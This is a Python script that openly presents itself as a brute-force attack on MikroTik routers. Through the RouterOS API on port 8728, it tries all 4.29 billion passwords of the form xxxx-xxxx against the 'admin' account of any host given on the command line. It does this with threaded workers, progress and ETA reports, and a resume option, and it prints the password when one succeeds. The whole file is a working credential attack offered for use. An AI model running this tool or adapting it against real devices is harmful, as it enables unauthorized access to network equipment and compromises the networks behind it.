#!/usr/bin/env python3
"""
MikroTik Full Brute Force Attack
Systematically tests ALL possible xxxx-xxxx password combinations
4,294,967,296 total passwords (0x00000000 to 0xFFFFFFFF)
"""

import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
import signal

class MikroTikFullBruteForce:
    def __init__(self, host, port=8728):
        self.host = host
        self.port = port
        self.username = "admin"
        self.found_password = None
        self.attempts = 0
        self.start_time = None
        self.lock = threading.Lock()
        self.stop_flag = threading.Event()
        self.start_value = 0
        self.current_value = 0
        
    def test_api_password(self, password, timeout=2):
        """Test password using MikroTik API"""
        if self.stop_flag.is_set():
            return False
            
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            sock.connect((self.host, self.port))
            
            def encode_length(length):
                if length <= 0x7F:
                    return bytes([length])
                elif length <= 0x3FFF:
                    return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
                else:
                    return bytes([0xFF])
            
            def write_word(word):
                word_bytes = word.encode('utf-8')
                sock.send(encode_length(len(word_bytes)))
                sock.send(word_bytes)
            
            def write_sentence(words):
                for word in words:
                    write_word(word)
                write_word("")
            
            def read_word():
                try:
                    length_byte = sock.recv(1)
                    if not length_byte:
                        return ""
                    length = length_byte[0]
                    if length == 0:
                        return ""
                    if length & 0x80:
                        second_byte = sock.recv(1)
                        if not second_byte:
                            return ""
                        length = ((length & 0x7F) << 8) + second_byte[0]
                    
                    if length > 500:
                        return ""
                    
                    return sock.recv(length).decode('utf-8', 'ignore')
                except:
                    return ""
            
            def read_sentence():
                sentence = []
                while True:
                    word = read_word()
                    if word == "":
                        break
                    sentence.append(word)
                return sentence
            
            # Send login
            write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
            
            # Read response
            response = read_sentence()
            sock.close()
            
            return response and response[0] == "!done"
            
        except Exception:
            return False
    
    def int_to_password(self, value):
        """Convert integer to xxxx-xxxx password format"""
        hex_str = f"{value:08x}"
        return f"{hex_str[:4]}-{hex_str[4:]}"
    
    def test_password_range(self, start_val, end_val):
        """Test a range of password values"""
        for value in range(start_val, end_val):
            if self.stop_flag.is_set():
                return None
                
            password = self.int_to_password(value)
            
            with self.lock:
                self.attempts += 1
                self.current_value = value
                current_attempts = self.attempts
            
            # Progress reporting every 100 attempts
            if current_attempts % 100 == 0:
                elapsed = time.time() - self.start_time
                rate = current_attempts / elapsed if elapsed > 0 else 0
                percent = (value / 0xFFFFFFFF) * 100
                
                # Estimate time remaining
                if rate > 0:
                    remaining_passwords = 0xFFFFFFFF - current_attempts
                    eta_seconds = remaining_passwords / rate
                    eta_hours = eta_seconds / 3600
                    eta_days = eta_hours / 24
                    
                    if eta_days > 1:
                        eta_str = f"{eta_days:.1f} days"
                    elif eta_hours > 1:
                        eta_str = f"{eta_hours:.1f} hours"
                    else:
                        eta_str = f"{eta_seconds/60:.1f} minutes"
                else:
                    eta_str = "unknown"
                
                print(f"[*] {current_attempts:,} attempts ({rate:.1f}/sec) - "
                      f"Progress: {percent:.6f}% - Current: {password} - ETA: {eta_str}")
            
            if self.test_api_password(password):
                print(f"\n*** PASSWORD FOUND! ***")
                print(f"Password: {password}")
                print(f"Value: 0x{value:08x} ({value:,})")
                print(f"Total attempts: {current_attempts:,}")
                elapsed = time.time() - self.start_time
                print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
                self.found_password = password
                self.stop_flag.set()
                return password
        
        return None
    
    def run_full_brute_force(self, max_workers=4, chunk_size=1000, start_from=0):
        """Run full brute force attack"""
        print(f"MikroTik Full Brute Force Attack")
        print(f"Host: {self.host}")
        print(f"Total password space: 4,294,967,296 (0x00000000 to 0xFFFFFFFF)")
        print(f"Starting from: 0x{start_from:08x} ({start_from:,})")
        print(f"Threads: {max_workers}")
        print(f"Chunk size: {chunk_size:,}")
        print("=" * 80)
        
        if start_from > 0:
            print(f"WARNING: Resuming from 0x{start_from:08x}")
            print(f"Skipping {start_from:,} passwords")
            print()
        
        # Estimate time at different rates
        total_passwords = 0xFFFFFFFF - start_from
        print("Time estimates at different speeds:")
        for rate in [50, 100, 200, 500]:
            seconds = total_passwords / rate
            days = seconds / (24 * 3600)
            print(f"  {rate:3d} pwd/sec: {days:.1f} days")
        print()
        
        self.start_time = time.time()
        self.current_value = start_from
        
        # Create work chunks
        chunks = []
        current = start_from
        while current < 0xFFFFFFFF:
            end = min(current + chunk_size, 0xFFFFFFFF + 1)
            chunks.append((current, end))
            current = end
        
        print(f"Created {len(chunks):,} chunks of {chunk_size:,} passwords each")
        print(f"Starting brute force attack...")
        print()
        
        # Use ThreadPoolExecutor
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            future_to_chunk = {
                executor.submit(self.test_password_range, start, end): (start, end)
                for start, end in chunks[:max_workers * 10]  # Submit first batch
            }
            
            chunk_index = max_workers * 10
            
            for future in as_completed(future_to_chunk):
                if self.stop_flag.is_set():
                    # Cancel remaining tasks
                    for f in future_to_chunk:
                        f.cancel()
                    break
                
                chunk_range = future_to_chunk[future]
                try:
                    result = future.result()
                    if result:
                        return result
                except Exception as e:
                    print(f"Error in chunk {chunk_range}: {e}")
                
                # Submit next chunk if available
                if chunk_index < len(chunks) and not self.stop_flag.is_set():
                    start, end = chunks[chunk_index]
                    new_future = executor.submit(self.test_password_range, start, end)
                    future_to_chunk[new_future] = (start, end)
                    chunk_index += 1
        
        if not self.found_password:
            elapsed = time.time() - self.start_time
            print(f"\nBrute force completed without finding password.")
            print(f"Total attempts: {self.attempts:,}")
            print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
            if self.attempts > 0:
                print(f"Average rate: {self.attempts/elapsed:.1f} passwords/second")
        
        return self.found_password

def signal_handler(signum, frame):
    """Handle Ctrl+C gracefully"""
    print(f"\n\nReceived signal {signum}")
    print("Stopping attack gracefully...")
    sys.exit(0)

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 mikrotik_full_brute_force.py <HOST> [threads] [start_from_hex]")
        print("Examples:")
        print("  python3 mikrotik_full_brute_force.py 10.250.2.2")
        print("  python3 mikrotik_full_brute_force.py 10.250.2.2 8")
        print("  python3 mikrotik_full_brute_force.py 10.250.2.2 8 0x00010000  # Resume from 0x00010000")
        print()
        print("WARNING: Full brute force will take a VERY long time!")
        print("At 100 passwords/second, it would take ~1.36 years to complete.")
        sys.exit(1)
    
    host = sys.argv[1]
    threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
    start_from = 0
    
    if len(sys.argv) > 3:
        start_hex = sys.argv[3]
        if start_hex.startswith('0x'):
            start_from = int(start_hex, 16)
        else:
            start_from = int(start_hex)
    
    # Install signal handler
    signal.signal(signal.SIGINT, signal_handler)
    signal.signal(signal.SIGTERM, signal_handler)
    
    # Confirm before starting
    print(f"About to start full brute force against {host}")
    print(f"This will test ALL 4,294,967,296 possible passwords!")
    print(f"Starting from: 0x{start_from:08x}")
    print()
    response = input("Are you sure you want to continue? (yes/no): ")
    if response.lower() != 'yes':
        print("Aborted.")
        sys.exit(0)
    
    attacker = MikroTikFullBruteForce(host)
    password = attacker.run_full_brute_force(
        max_workers=threads, 
        chunk_size=1000,
        start_from=start_from
    )
    
    if password:
        print(f"\n✓ SUCCESS! Password found: {password}")
        sys.exit(0)
    else:
        print(f"\n✗ Password not found in tested range.")
        sys.exit(1)

if __name__ == "__main__":
    main()